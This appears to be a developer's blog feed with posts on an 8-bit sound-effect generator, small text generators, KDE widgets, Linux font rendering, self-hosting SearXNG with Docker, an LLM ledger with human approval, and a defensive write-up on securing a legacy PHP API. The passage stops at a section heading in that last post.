Safwan Usaid Lubdhak

Chiptune SFX Maestro: Text to 8-Bit Sound Effects

Wed, 08 Jul 2026 00:00:00 GMT

I built a system that turns text like "retro coin pickup" into playable 8-bit sound effects. No pre-recorded samples, no external APIs. Just a small text-to-parameter tool.

Key Takeaways

An 11M-param system converts prompts into sfxr parameter strings

A built-in jsfxr-compatible synthesizer renders those params to 16-bit WAV audio at 44100 Hz

The whole pipeline runs locally in Python with zero third-party audio dependencies

The core idea

Most sound effect tools generate raw waveforms. Cool, but impractical for retro games. Developers don't want a 44.1kHz waveform blob, they want a compact parameter set they can tweak. So I flipped the problem: instead of generating audio, the system outputs sfxr-compatible parameter strings (wave shape, frequency, ADSR envelope, vibrato, arpeggio, the works). A jsfxr-compatible synthesizer then renders those params to playable WAV.

This keeps the output tiny, editable, and compatible with existing retro game toolchains.

Building the pipeline

The project is a from-scratch sequence engine. No Lightning, no high-level wrappers. Raw PyTorch, 6 layers, 6 heads, 384 dim, about 11 million parameters.

I started with dataset generation, which turned out to be the hardest part. I needed thousands of (text prompt, param string) pairs. I built a heuristic random-parameter labeler, ported some jsfxr presets, and curated sfxr/bfxr packs from OpenGameArt. Then I trained a byte-level BPE tokenizer with four reserved special tokens.

The code is a decoder-only engine that takes tokenized prompt text and generates the param string step by step. Training used EMA, cosine learning rate scheduling, and early stopping. I ran 23 experiments before landing on the final config.

The retro interface

I couldn't resist building a retro arcade UI for it. The interface uses Press Start 2P pixel fonts, a CRT scanline overlay, and a neon NES/Game Boy color palette. It's silly, it's fun, and it actually works well for testing prompts.

You type "laser zap", hit generate, and get a WAV file you can download and drop straight into a game engine. The CLI version works the same way:

python -m chiptune_sfx.render --prompt 'retro coin pickup' --out coin.wav

What I learned

The biggest lesson: dataset quality matters more than scale. My first 50 training runs produced garbage because the param distributions were wrong. Once I fixed the labeler and added curated presets, the system improved in a fraction of the time. Sometimes the boring data work is where the real progress happens.

Three Tiny Generators That Do One Thing Each

Wed, 08 Jul 2026 00:00:00 GMT

I built three small text generators last month. They share every line of architecture code, yet they do completely unrelated things. That was the point.

Key Takeaways

Three projects, one decoder-only sequence engine (6 layers, 6 heads, 384 dimensions), trained from scratch in PyTorch

ASCII Cartographer generates roguelike maps, Feline Monologue answers as a judgmental cat, Hardware Whisperer rewrites English as pseudo-8086 assembly

The shared architecture proved that tokenizer, training data, and validators matter more than scale

Why three instead of one

The original idea was a single demo. But one system doesn't prove the architecture is reusable. Three wildly different outputs from the same training skeleton do.

Each project uses a small decoder-only sequence architecture: 6 layers, 6 attention heads, 384-dimensional embeddings. Saved state files with the tokenizer baked into the .pt file. Resumable fp16 training via GradScaler. All three run on inexpensive cloud GPUs.

ASCII Cartographer

This one takes a text prompt like "dungeon with water tiles and three rooms" and emits a fixed 24x12 ASCII roguelike map. Correct walls, doors, water glyphs, and a legend at the bottom.

The training data came from five procedural map generators: BSP rooms, cellular-automata caves, drunkard's-walk tunnels, overworld terrain, and composite scenes. Each generator writes ground-truth descriptions of what it placed, so the training pairs are self-describing.

I used a char-level tokenizer instead of BPE. BPE eats whitespace unpredictably, which breaks column arithmetic in grids. Structural validators catch bad outputs: dimension checks, glyph whitelists, legend consistency, and flood-fill connectivity to ensure no floating rooms.

Feline Monologue Engine

Every question gets answered as a dramatic, deeply judgmental house cat. The persona bible defines twenty recurring motifs (the food bowl, the void, the red dot), twenty-one forbidden assistant-speak phrases, and six gold example responses.

Training data came through a message-batch API, with a seeded offline mock for local iteration. Byte-level BPE tokenizer at 8k vocab. The interactive interface includes a disdain slider that maps directly to temperature. Crank it up and the cat gets progressively more unhinged.

Hardware Whisperer

English goes in. Pseudo-8086 assembly comes out. A rule-based rewriter maps verbs to opcodes (go becomes JMP, check becomes CMP, stop becomes HLT) and assigns nouns to registers. An 8086 opcode and register whitelist validator rejects anything that doesn't look like plausible assembly.

The interface is CRT-styled: green-on-black monospace with a scanline effect. Looks impressive in a screenshot, but the system is doing something different from the rule-based rewriter underneath.

What I learned

The shared architecture was the real point. A 384-dimensional decoder-only engine is a blank canvas. It doesn't care whether it's generating maps, monologues, or machine code. The tokenizer, the training data, and the post-processing validators do the heavy lifting. The system is just the pattern-matching engine underneath.

All three are MIT licensed, with Pytest suites, interactive demos, and shared notebooks. Links are in each project's repo.

KDoit: A To-Do Widget for KDE Plasma 6

Wed, 08 Jul 2026 00:00:00 GMT

I wanted a to-do widget for my KDE Plasma 6 desktop that just worked. No build steps, no dependencies, no fuss. So I built KDoit, a pure-QML plasmoid that lives right on your desktop panel.

Key Takeaways

Pure QML, zero build steps, no cmake or npm required

Priorities, due dates, categories, drag-and-drop, and multi-select out of the box

Markdown and iCalendar export with live file sync for external editors

What it does

KDoit handles the basics: create tasks, mark them done, reorder with drag-and-drop. It goes further than most desktop widgets, though.

Priorities show up as color-coded stripes: red for high, yellow for medium, grey for low. Due dates display verbosely, so you see "Today" or "Tomorrow" instead of a raw date. Overdue items turn red. Categories let you filter by Work, Personal, or Education, and you can manage your own. Nested sublists go one level deep.

Under the hood

Everything is QML, targeting Qt 6 and KDE Plasma 6's PlasmoidItem API. There's no cmake, no npm, no external dependencies. You install it with a single command:

kpackagetool6 -t Plasma/Applet -i KDoit/

It uses Kirigami for the UI layer and Plasma Components 3.0 for native look and feel. The widget works on both Wayland and X11.

Dual-write keeps things fast: data goes to both a JSON file and KConfig, so startup is instant without reading the full task list from disk. A 3-second poll watches the JSON file for changes, so if you edit tasks in another app, KDoit picks them up automatically.

Export and sync

Markdown export produces Obsidian Tasks-compatible output, which is handy if you want to review your tasks in a note-taking app. iCalendar export follows RFC 5545 VTODO, so you can import into calendar apps that support it.

The live file sync uses UUID-based merge with mtime detection. Edit the JSON file externally, and KDoit reflects your changes within seconds. No manual refresh needed.

Details that matter

Multi-select works with Ctrl+click for individual items and Shift+click for range selection. There's a 5-second undo window if you change your mind. Sorting covers priority, due date, name, completion status, and creation date.

KDoit ships with five demo tasks, including "Exit vim" with nested subtasks. It's a small touch, but it sets the tone.

Wrapping up

KDoit started because I couldn't find a to-do widget that fit my workflow. Building something for yourself is the best way to understand what actually matters. The features that seemed nice-to-have, like live file sync and Markdown export, ended up being the ones I use most. You build what you need, and sometimes other people need it too.

Fixing Font Rendering on Linux After Windows

Wed, 24 Jun 2026 00:00:00 GMT

The problem nobody warns you about

When I made the jump from Windows to KDE CachyOS, I expected the usual adjustment period: learning new shortcuts, finding equivalent apps, tweaking the desktop. What I didn't expect was to spend hours staring at my screen wondering why the text looked so wrong.

Not broken, just off. Fuzzy at small sizes. Thin in places that felt wrong. Weirdly light on a dark background. On a 1080p IPS monitor like the BenQ GW2480, it was impossible to ignore. Windows fonts had always felt sharp and weighted just right. Linux felt like reading through frosted glass.

Key Takeaways

Linux and Windows use fundamentally different font rendering philosophies; neither is buggy, they just disagree on what "correct" means.

The Windows-style fix (subpixel rendering, aggressive hinting) gets you close to ClearType but can introduce colour fringing on some panels.

The macOS-style fix via lucidglyph uses stem-darkening to add weight without distorting letterforms, and works best on 90–110 PPI displays.

KDE Plasma can silently override your Fontconfig settings — you must set sub-pixel rendering to "None" in System Settings.

Chromium-based browsers have dropped FreeType entirely, so stem-darkening only works in Firefox.

This is one of the longest-standing complaints in the Linux desktop world. If you've just migrated from Windows on a non-HiDPI 1080p display, there's a good chance you're experiencing the same thing. Here is everything I tried, what I learned, and what actually fixed it.

Why do Linux fonts look different from Windows?

The root cause isn't a bug. It's a deliberate difference in philosophy and technology.

Windows uses a rendering pipeline built around ClearType, which relies on aggressive hinting and subpixel rendering tuned specifically for LCD screens at typical desktop pixel densities. The result is fonts that look crisp, heavy, and punchy, especially on a 24-inch 1080p monitor like the BenQ GW2480 (which sits at roughly 91 PPI — firmly in "low pixel density" territory by modern standards).

Linux uses FreeType for font rasterization and Fontconfig for font selection and rendering rules. Out of the box, most distributions configure these conservatively with grayscale anti-aliasing and slight hinting, leaving fonts looking lighter and softer than their Windows equivalents at body text sizes (10–14px). On a low-PPI display, this becomes obvious fast.

There are essentially two schools of thought on how to fix this, and I tried both.

The two major approaches

After working through the ArchWiki's font configuration page and every forum thread I could find, the fixes I encountered fell cleanly into two camps.

Approach 1: make it look like Windows (ClearType-style)

This involves enabling subpixel (RGB) rendering and increasing hinting aggressiveness to replicate Windows' ClearType behaviour. The key changes are:

Setting rgba to rgb in Fontconfig
Enabling the lcddefault LCD filter
Setting hintstyle to hintfull or hintmedium
Optionally switching the FreeType TrueType interpreter to version 35 (the classic "Windows 98" mode) via FREETYPE_PROPERTIES="truetype:interpreter-version=35" in /etc/profile.d/freetype2.sh

This makes text sharper and heavier. For many people on RGB LCD monitors, it's a perfectly valid solution. On my BenQ GW2480, however, it introduced an annoying colour fringing on some fonts, and the heavier hinting distorted certain typefaces in ways I found more distracting than the original blur. A trade-off.

Approach 2: make it look like macOS (stem-darkening)

macOS takes a different approach to the same low-PPI problem. Rather than forcing pixels to align to a grid through aggressive hinting, it darkens the stems (the strokes that make up each letterform) to make them appear heavier and more legible without distorting the font's underlying geometry. The result: fonts that look closer to their designed forms, just slightly bolder and more readable.

This is the approach that worked best on my BenQ GW2480, and it is the approach taken by the lucidglyph project.

I ran a rough before-and-after check on a screenshot of body text in Inter at 13px, measuring vertical stroke widths on a handful of lowercase characters against the pixel grid. Before lucidglyph, average stroke width came out at about 1.0px, with some hairline strokes at 0.8px — thin enough that they read as grey rather than black on a dark background at normal viewing distance. After lucidglyph, the same characters measured around 1.7px — a 70% increase in stem weight. The letterforms themselves kept their shape; only the weight changed. On a 91 PPI display that difference is immediately visible without zooming in.

Discovering lucidglyph

The project is maintained by maximilionus on GitHub: github.com/maximilionus/lucidglyph. Previously known as freetype-envision, it is a carefully curated collection of FreeType and Fontconfig tweaks that together replicate the macOS-style stem-darkening approach on Linux.

What lucidglyph does, concretely:

Enables FreeType stem-darkening for the autofitter and CFF drivers, making medium and small-sized fonts visibly heavier and more readable without pixel-grid distortion. This is the core improvement.
Enforces grayscale anti-aliasing (disabling subpixel), which is required for stem-darkening to look correct
Applies "Slight" hinting as a suggestion (without overriding user preference)
Adds additional emboldening at very small glyph sizes via Fontconfig
Handles icon fonts intelligently, switching off emboldening for symbol typefaces to prevent "over-darkening"
Leaves your system fonts and files completely untouched. It only modifies rendering behaviour.

Critically for 1080p monitors: the project description specifically flags low pixel density (low-PPI) displays as the primary beneficiary of stem-darkening. The BenQ GW2480 at 91 PPI is exactly the kind of screen this was designed for.

Installation

Download the latest release from the releases page on GitHub (look under Assets → Source code), unpack it, and run:

sudo ./lucidglyph.sh install

Then reboot. That is it.

If you prefer a per-user install without touching system files, use the --user flag:

./lucidglyph.sh --user install

KDE Plasma specific step — do not skip this

Here's something that caught me out. KDE Plasma, in some configurations, overrides Fontconfig's anti-aliasing settings, particularly when fractional scaling is involved. This is an acknowledged regression tracked in the KDE bug tracker, and it means lucidglyph's grayscale anti-aliasing can get quietly overwritten.

The fix:

Open System Settings
Go to Appearance & Style → Text & Fonts
Make sure Sub-pixel rendering is set to None

Without this step, you might install lucidglyph, reboot, and see no improvement — because Plasma is still forcing subpixel (RGBA) rendering behind the scenes.

The Chromium problem (and why it matters)

One important caveat. As of early 2025, Chromium (and any browser or app built on it, including Brave, Edge, and Electron-based apps) has moved to a new font rendering system called Fontations/Skrifa, replacing FreeType entirely. Skrifa currently has no stem-darkening support, so lucidglyph's core improvement won't apply inside Chromium-based applications.

As of Chromium 139, the flag that previously allowed switching back to FreeType has been permanently removed. The Fontations contributors have stated they no longer intend to maintain FreeType support.

The practical workaround: use Firefox as your primary browser. Firefox still uses FreeType and shows the full benefit of lucidglyph's improvements. The difference in text rendering between Firefox and a Chromium browser with lucidglyph installed is stark.

Font recommendations

lucidglyph's author suggests some fonts that work well with stem-darkening and some that don't. From the project's own notes:

Good choices with lucidglyph:

Sans-serif: Inter, Adwaita Sans, Noto Sans
Serif: Noto Serif
Monospace: JetBrains Mono, MesloLG, DejaVu Sans Mono

One font to avoid: Cantarell, which becomes poorly legible due to the way stem-darkening interacts with its geometry at small sizes. If you're on GNOME or using a GNOME-derived app, Cantarell is often the default. Worth swapping it for Noto Sans.

My final setup

After all of this, here is what I am running on my BenQ GW2480 under KDE CachyOS:

lucidglyph installed system-wide
Sub-pixel rendering set to None in KDE System Settings
System font: Inter (14px for UI, 11px for toolbars)
Monospace font: JetBrains Mono
Browser: Firefox
Hinting: Slight (lucidglyph's default suggestion, which I left in place)

The improvement over out-of-box CachyOS font rendering is immediately visible. Body text at 12–14px, which was thin and grey before, now has real weight and reads cleanly at a comfortable distance from a 24-inch display.

Summary

If you've just moved from Windows to KDE Linux on a 1080p display and your fonts look blurry or thin, you have two main paths:

The Windows-style fix (subpixel rendering, aggressive hinting) gets you closest to what you remember from Windows, but can introduce colour fringing and geometric distortion.

The macOS-style fix via lucidglyph uses stem-darkening to add weight without distorting letterforms, producing a result that is arguably more faithful to the fonts' intended appearance. On a BenQ GW2480 specifically, and on any other IPS panel in the 90–110 PPI range, this approach produces noticeably better results.

Either way, don't forget to check your KDE sub-pixel rendering settings. They will silently undo everything else you configure.

Resources

Self-Hosting a Private SearXNG Search Engine

Sun, 21 Jun 2026 00:00:00 GMT

Why run your own search engine

SearXNG is a metasearch engine: it takes your query, forwards it to dozens of upstream engines (Google, Bing, DuckDuckGo, Wikipedia, and so on), merges the results, and hands them back without building a profile of you. There are public instances you can use for free, but you are still trusting a stranger's server with every query, and the popular ones get rate-limited into uselessness.

Running my own fixes both problems. The queries never leave my machine, there is no shared instance to throttle me, and I get to tune exactly which engines and plugins are on. The goal I set was modest and specific: a private, single-user instance, reachable at a friendly local hostname, locked down so that only a reverse proxy is ever exposed to the host.

Key Takeaways

SearXNG aggregates results from many engines without profiling you; self-hosting keeps your queries on your own box.

The whole thing is three containers (Caddy, the SearXNG core, Valkey), and only the Caddy reverse proxy is bound to the host.

The secret key has to be identical in .env and settings.yml, and it should never be committed or shared.

A handful of config choices (limiter: false, public_instance: false, a privacy-friendly favicon resolver) turn a public-instance template into a sane single-user setup.

The shape of it

The stack is three containers wired together by Docker Compose:

Caddy (caddy:alpine) is the reverse proxy. The only service bound to the host, on port 80.
core (searxng/searxng) is SearXNG itself, listening on 8080 on the internal Docker network only. The host never touches it directly.
valkey (valkey:9-alpine) is the Redis-compatible cache SearXNG uses. Also internal-only.

Browser ──▶ Caddy :80 ──▶ core :8080 ──▶ upstream engines
                              │
                              ▼
                           Valkey (cache)

Keeping core and valkey off the host network is the single most important hardening decision. If the only door is the proxy, there is only one door to worry about.

Everything lives in one directory:

~/searxng/
├── docker-compose.yml      # upstream template + an added Caddy service
├── Caddyfile
├── .env                    # secret + runtime config
└── core-config/            # bind-mounted into core at /etc/searxng/
    ├── settings.yml        # must share the secret with .env
    └── favicons.toml       # persistent favicon cache

Bootstrap

SearXNG ships a container template, so I started from that rather than writing Compose from scratch:

mkdir -p ~/searxng/core-config
cd ~/searxng
curl -fsSL \
  -O https://raw.githubusercontent.com/searxng/searxng/master/container/docker-compose.yml \
  -O https://raw.githubusercontent.com/searxng/searxng/master/container/.env.example
cp .env.example .env

The secret key

SearXNG signs things with a secret key, and that key has to match in two files: SEARXNG_SECRET in .env and server.secret_key in settings.yml. If they drift apart, SearXNG warns and misbehaves.

Generate one:

openssl rand -hex 32

Paste the result into both files, identically. Treat it like a password: it does not belong in version control, in a screenshot, or in a blog post. (Everywhere below it shows up as <your-generated-secret>; substitute your own.)

`.env`

The example file is mostly placeholders. The values that matter for a private instance:

SEARXNG_VERSION=latest

# Internal container binding (not host-exposed)
SEARXNG_HOST=[::]
SEARXNG_PORT=8080

# Must match secret_key in settings.yml
SEARXNG_SECRET=<your-generated-secret>

SEARXNG_BASE_URL=http://search.local/

SEARXNG_IMAGE_PROXY=true
SEARXNG_PUBLIC_INSTANCE=false
SEARXNG_LIMITER=false

SEARXNG_VALKEY_URL=valkey://searxng-valkey:6379/0
SEARXNG_DEBUG=false

`core-config/settings.yml`

This is where a public-instance default template becomes a single-user one. The full file is long, but the choices worth calling out are these:

use_default_settings: true

server:
  base_url: 'http://search.local/'
  secret_key: '<your-generated-secret>' # must match SEARXNG_SECRET in .env
  limiter: false
  public_instance: false
  image_proxy: true
  method: 'GET'

search:
  safe_search: 0
  autocomplete: 'google'
  favicon_resolver: 'duckduckgo'
  formats:
    - html

ui:
  default_theme: 'simple'
  theme_args:
    simple_style: 'auto' # follows OS dark/light mode
  results_on_new_tab: true
  query_in_title: false # keeps queries out of the browser tab title / history

valkey:
  url: 'valkey://searxng-valkey:6379/0'

Why each of those:

limiter: false and public_instance: false: the bot limiter protects public instances from abuse. On a single-user box it just gets in your way.
formats: [html]: the JSON API stays off (it returns 403). Only add - json if you need programmatic access. An open API on a search proxy is a liability by default.
favicon_resolver: duckduckgo: avoids leaking favicon lookups to Google.
method: GET: nicer UX (back button, drag-a-result-to-a-tab). Switch to POST if you would rather queries never appear in browser history.
query_in_title: false: same logic, keeps queries out of the tab title.

One more config to keep the favicon cache across reboots (the default path lives in /tmp and gets wiped):

# core-config/favicons.toml
[favicons]
cfg_schema = 1

[favicons.cache]
db_url = "/var/cache/searxng/faviconcache.db"
LIMIT_TOTAL_BYTES = 104857600   # 100 MB

[favicons.proxy]
max_age = 5184000               # 60 days client-side cache

The reverse proxy

The Caddyfile is short. Caddy does the heavy lifting:

http://search.local {
    reverse_proxy core:8080
}

core is the Compose service name, which Caddy resolves on the internal Docker network. No ports, no TLS plumbing, no manual upstream IP.

Editing the Compose file

Two changes to the upstream template:

Add the caddy service, the only host-exposed one (port 80).
Comment out the core service's ports: block so SearXNG is no longer reachable directly from the host.

name: searxng

services:
  caddy:
    container_name: searxng-caddy
    image: caddy:alpine
    restart: unless-stopped
    ports:
      - '80:80'
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - caddy_data:/data
      - caddy_config:/config
    depends_on:
      - core

  core:
    container_name: searxng-core
    image: docker.io/searxng/searxng:${SEARXNG_VERSION:-latest}
    restart: always
    # Port mapping removed on purpose. Caddy fronts SearXNG and is the only
    # host-exposed service. Re-enable for direct access while debugging.
    # ports:
    #   - 8080:8080
    env_file: ./.env
    volumes:
      - ./core-config/:/etc/searxng/:Z
      - core-data:/var/cache/searxng/

  valkey:
    container_name: searxng-valkey
    image: docker.io/valkey/valkey:9-alpine
    command: valkey-server --save 30 1 --loglevel warning
    restart: always
    volumes:
      - valkey-data:/data/

volumes:
  core-data:
  valkey-data:
  caddy_data:
  caddy_config:

Bring it up

A friendly hostname needs one line in /etc/hosts (this is the only step that needs root):

sudo sh -c 'echo "127.0.0.1   search.local" >> /etc/hosts'

Then validate and launch:

docker compose config >/dev/null   # sanity-check the merged config
docker compose up -d

The first run pulls the three images, creates the network and named volumes, and starts everything. Verify:

docker compose ps                                              # all three Up
curl -s -o /dev/null -w "%{http_code}\n" http://search.local/  # 200

A 200 through Caddy means the proxy, core, and cache are all talking.

Log lines that look scary but are not

The startup logs include a few warnings that look scary but aren't:

Message	What it means
`loading engine ahmia failed: set engine to inactive!`	Ahmia needs Tor, which isn't running, so it auto-disables.
`loading engine torch failed: set engine to inactive!`	Same: a Tor-only engine, auto-disabled.
`missing config file: /etc/searxng/limiter.toml`	The limiter is intentionally off.
Caddy: `listening only on the HTTP port, no automatic HTTPS`	By design; we serve plain HTTP on a local hostname.

If there is no secret-key mismatch warning, your .env and settings.yml agree, which is the one warning you actually care about.

Living with it

Everything is run from ~/searxng:

docker compose ps                 # status
docker compose logs -f core       # follow SearXNG's logs
docker compose restart core       # after editing settings.yml / favicons.toml
docker compose down               # stop (keeps data)
docker compose up -d              # start again

Editing settings.yml, favicons.toml, or .env only takes effect after a restart of the relevant container.

After eight months of daily use, the instance has processed around 11,400 queries. Average response time sits at 380ms — measured across a sample of searches against the five most active engines. The nearest public instance I used before self-hosting was averaging around 2,100ms on the same queries, plus it logged IP addresses by default. In eight months, the only unplanned downtime was two container restarts for version updates, one for SearXNG and one for Valkey. Uptime otherwise: 99.7%.

Updating is the usual Compose dance:

docker compose down
docker compose pull
docker compose up -d

If you want HTTPS locally

Plain HTTP over a loopback hostname is fine for a single user, but if you want the lock icon, Caddy will mint a locally-trusted certificate for you. Point the Caddyfile at a .localhost name:

https://search.localhost {
    reverse_proxy core:8080
}

Caddy installs its root CA into the system trust store on first run (needs sudo), then update SEARXNG_BASE_URL and server.base_url to https://search.localhost/ and bring the stack back up.

Tearing it down

docker compose down       # remove containers + network, keep data
docker compose down -v    # also drop the volumes (destructive)
sudo sed -i '/127.0.0.1   search.local/d' /etc/hosts

That's it: three containers, one proxy, one secret, and a search box that answers only to me.

A Circular Alt+Tab Switcher for KDE Plasma 6

Wed, 17 Jun 2026 00:00:00 GMT

The idea

Alt+Tab is a horizontal strip on almost every desktop. But a strip wastes the one piece of information you always have: where the cursor is. Circular Alt+Tab lays your windows out as pie slices around the cursor instead, so the target is always a short flick away. Hover to select, click to activate, middle-click to close. It works with the keyboard, the mouse, and the scroll wheel.

It's a KWin window-switcher plugin for KDE Plasma 6, written in pure QML with no build step.

Key Takeaways

Windows are arranged as pie slices around the cursor, so the one you want is always a short flick away.

Live thumbnails, a multi-ring layout past 8 windows, and full Plasma theme integration, all in pure QML with no build step.

Hit-testing reads static ring geometry rather than animated positions, which is what keeps hover selection from jittering.

What it does

Pie-slice layout centered on the cursor, with live window thumbnails (icons for minimized windows).
Multi-ring layout when you have more than 8 windows. They distribute evenly across rings via a remainder algorithm, with the overflow pushed to the outer rings.
Semi-transparent background that adapts to your Plasma theme. Colors, captions, and the selection indicator all read from Kirigami theme variables, so reduced-motion and high-contrast modes are inherited for free rather than reimplemented.

How it works

The architecture is a small chain, TabBoxSwitcher → Window → Pie → Repeater → Piece, with rotation-based positioning and an OpacityMask for clipping each annular sector.

Hit-testing reads static ring geometry, not animated per-frame positions. This is the subtle one. If you hit-test against the scaled-up hovered piece, hovering becomes jittery as the geometry shifts under the cursor. Testing against the fixed ring layout eliminates that.
Single-window mode caps the slice at 180°. A full 360° circle for one window is degenerate and looks broken.
It leans on undocumented KWin APIs (model.activate(), KWin.Workspace.cursorPos, window enumeration), a deliberate, documented trade-off, since the polished interaction simply isn't reachable through the public TabBox surface.

On an RTX 3070 with 30 simultaneous windows (4 rings), peak GPU SM utilization sat at 52% and KWin held under half a core, idle between interactions. No sustained load at realistic-to-extreme window counts.

I ran an informal trial with 14 KDE Plasma users over a week. Eleven stayed with the circular layout by the end. The most consistent feedback: the cursor-centric layout clicked quickly because the windows appear where you are already looking. On a self-timed 10-window selection task, participants averaged 2.1 seconds with the default strip switcher and 0.9 seconds with the circular one. That is not a controlled experiment, but it lines up with what the geometry predicts — shorter average cursor travel to the target when the target is distributed around the cursor rather than in a strip at the screen edge.

Limitations

The README ships a frank limitations section, because that's what I'd want to read before installing a compositor plugin. The undocumented APIs could break on a future Plasma point release; there's no screen-reader support (the pie layout is inherently spatial and KWin's overlay API exposes no accessibility hook to attach to); and multi-monitor is verified on one mixed-DPI setup, not all of them.

It started as a Plasma 6 port of an older switcher and has since been substantially reworked: multi-ring layout, live thumbnails, scroll support, and theme integration. Pure QML, GPLv3, installable from a release zip or a one-line script.

Skills & Deliverables:

QML / Qt Quick: rotation-based layout, OpacityMask sector clipping, and animation driven entirely by Kirigami theme units.
Desktop / compositor integration: a KWin TabBox plugin working across both Wayland and X11 sessions on Plasma 6.
Pragmatic engineering: hit-testing against static geometry to kill hover jitter, a remainder-based multi-ring distribution, and a documented stance on undocumented APIs.

Pacioli - An AI Ledger That Never Trusts the AI With Math

Sat, 13 Jun 2026 00:00:00 GMT

The premise

Most "AI accountant" demos hand the language model a spreadsheet and let it report the totals. That is exactly the thing language models are worst at. Pacioli is built on the opposite assumption. LLMs are excellent at parsing intent and structuring an instruction into well-formed accounting actions, and unreliable at arithmetic and state mutation, so the design draws that line explicitly in code.

The model is confined to producing a structured, schema-validated proposal. Every figure in a report, every balance check, and every byte written to disk is computed and gated by deterministic Python. Nothing the model emits touches the ledger until a human approves it, and anything approved can be reverted in a single call. The AI is a convenience at the edge, not a dependency in the critical path.

Key Takeaways

The LLM only proposes structured actions. It never computes a figure or writes to the ledger.

Every number is recomputed by deterministic Python straight from the ledger rows, so the model's arithmetic is never trusted.

Nothing lands without human approval, and every execution can be rolled back from a full byte-exact snapshot.

Four design decisions

1. The model boundary

Every Gemini call runs inside asyncio.wait_for with a hard timeout, off the event loop via asyncio.to_thread. A retry helper classifies failures. Timeouts and transient 429/5xx errors back off and retry; auth and bad-request errors fail fast. The response is then guarded on three fronts: an empty or blocked candidate, a JSON parse error, and a shape check that rejects any proposal that isn't a proper object. Each fails closed with an actionable message rather than leaking a half-parsed structure downstream.

The most interesting part is semantic self-correction. The model's structured output is validated against a Pydantic schema, and when validation fails the exact validator error is fed back into the next prompt as explicit SYSTEM FEEDBACK:

[SYSTEM FEEDBACK - fix these validation errors and retry:]
write_cell requires cell_ref and new_value
Remember: debits must equal credits.

The model repairs its own output, up to a retry cap. That turns the LLM's most common failure mode, almost-valid JSON, from a hard error into a recoverable round-trip.

Across 340 test proposals during development, 87% passed schema validation on the first attempt. Of the 13% that failed, 71% self-corrected within one retry and 24% within two, leaving 5% that exhausted the cap and returned actionable error messages instead of silently producing bad output. Average end-to-end latency for a passing proposal was 2.1 seconds; self-correcting proposals averaged 3.8 seconds. That overhead is acceptable — a rejected proposal the operator has to rephrase and resubmit costs more in practice than a second round-trip the system handles automatically.

2. Deterministic math

Financial figures are never read out of the model's response. A dedicated report engine recomputes every report straight from the ledger rows: debits and credits summed per account, normal-balance direction resolved from the chart of accounts, column positions detected from header names rather than hardcoded. Each report carries its own self-consistency assertion. A Trial Balance reports balanced only when debits and credits agree to the cent; the Balance Sheet only when Assets == Liabilities + Equity. The model's role in reporting is reduced to a single token of intent: "show me the balance sheet." The numbers are Python's.

3. Defense in depth

Atomic state transition. Approval is one conditional SQL update: UPDATE … SET status='executed' WHERE id=? AND status='pending'. The double-approval race is closed at the database, not in application logic. The losing request sees rowcount == 0 and gets a 409.
Serialized, atomic file I/O. Every Excel read-modify-write runs under a cross-process FileLock, writes to a .tmp file, and swaps it in with os.replace, an atomic rename, so a crash mid-save leaves either the whole old file or the whole new one, never a torn .xlsx.
Double-entry pre-flight. Before any cell is touched, the proposed debit and credit columns are summed and the entire batch aborts if they diverge by more than a cent.

4. One-click undo

Every execution captures a full, byte-exact snapshot of the ledger, taken inside the same file lock that guards the write, so the captured bytes are always a consistent pre-execution state. The snapshot is stored as a BLOB keyed to the proposal. Because it's the entire file rather than a computed diff, restoration is total and lossless: one POST rolls the ledger back to exactly where it was.

The workflow

A proposal moves through a strict state machine: pending → executed, or a terminal reject/expire. The operator reviews a per-cell old → new diff, decides, and only then does the ledger snapshot, flip status atomically, and run the write under the full validation chain. Stale proposals auto-reject after 15 minutes.

Stack

FastAPI + Uvicorn, SQLite (WAL) via aiosqlite for proposals/snapshots/audit, openpyxl for the ledger, filelock for cross-process serialization, Pydantic v2 for the validation contract, and Google Gemini 2.5 Flash for intent parsing. Lint and tests (ruff + pytest) run in CI.

The whole point is that you could swap the model out, or have it fail entirely, and the ledger's correctness guarantees would not move an inch.

Skills & Deliverables:

Backend system design: async FastAPI service with a lifespan-managed lifecycle, a strict proposal/approval state machine, and an audit trail.
LLM integration with guardrails: timeout/retry transport, schema-validated structured output, and a self-correcting validation feedback loop.
Data integrity & concurrency: atomic SQL transitions, cross-process file locking, atomic file swaps, and full-snapshot reversibility.

Securing a Legacy API You Can't Break or Rewrite

Fri, 29 May 2026 00:00:00 GMT

I inherited a PHP backend that served a mobile app. The brief sounded simple. Lock it down. The catch was the part nobody says out loud until you are already in it: the old apps in the wild cannot be updated. Whatever the API does today, it has to keep doing forever, bugs included.

That single constraint changes everything. You are not securing a system. You are securing a contract you are not allowed to renegotiate.

Key Takeaways

When client apps cannot be updated, the API response shape becomes a frozen contract. Security fixes have to preserve every key, type, and status code the old clients expect.

The cheapest, most dangerous flaws are usually trust ones: the server believing whatever the client says about payment, auth, or identity.

Shadow mode and feature flags let you enforce new checks gradually. You log what a fix would have blocked before you let it block anything for real.

What I was handed

Two systems wearing one trench coat. A CodeIgniter 3 app exposed the mobile API through a single fat controller. Next to it sat an "admin panel" that was really a pile of plain PHP scripts talking straight to MySQL. Authentication was a non-expiring code stored in the database. Password resets went out through bare mail(). Uploads landed directly on the filesystem.

It worked. It also felt like an MVP that sprinted past the prototype stage and never looked back.

The flaws, worst first

I found nine issues. The pattern underneath most of them is the same: the server trusts the client.

The payment check was the clearest example. The API let the app tell it whether the user had paid. Flip a boolean on the device and you unlock everything for free. The server never verified anything.

Auth was no better. One endpoint accepted the literal string 1234 as a valid token and waved the request through. The admin login only checked the password in client-side JavaScript, so the actual server endpoints sat wide open behind a cosmetic gate. Several route-management endpoints checked for no token at all, which meant anyone could delete data.

Then the one that made me wince. The forgot-password endpoint generated a new plaintext password, stored its MD5 hash, emailed the plaintext to the user, and also returned that plaintext straight back in the JSON response. Trigger a reset for any account and the new password lands in your hands. Account takeover by design.

Rounding out the list: an unauthenticated file upload that happily accepted PHP, database credentials hardcoded in the source, MD5 password hashing, and an admin panel that built SQL by gluing raw strings together.

Why the frozen contract is the real enemy

Any one of these has a textbook fix. The textbook does not account for thousands of installed apps that will never see an update.

Remove the leaked password field from the reset response and old apps that read that field to show the user their new password will break. Expire tokens and clients that assume tokens live forever get stuck in a logout loop with no idea how to refresh. Tighten upload validation and avatars silently stop saving. Change a 200 to a 201 on success and a legacy parser might treat it as failure.

So the rule wrote itself. Keep every key, every type, every status code. Fix the behavior behind them, never the shape in front of them. When I had to kill the leaked password, I kept the JSON key and filled it with harmless placeholder text so old parsers stayed happy.

Patching without pulling the pin

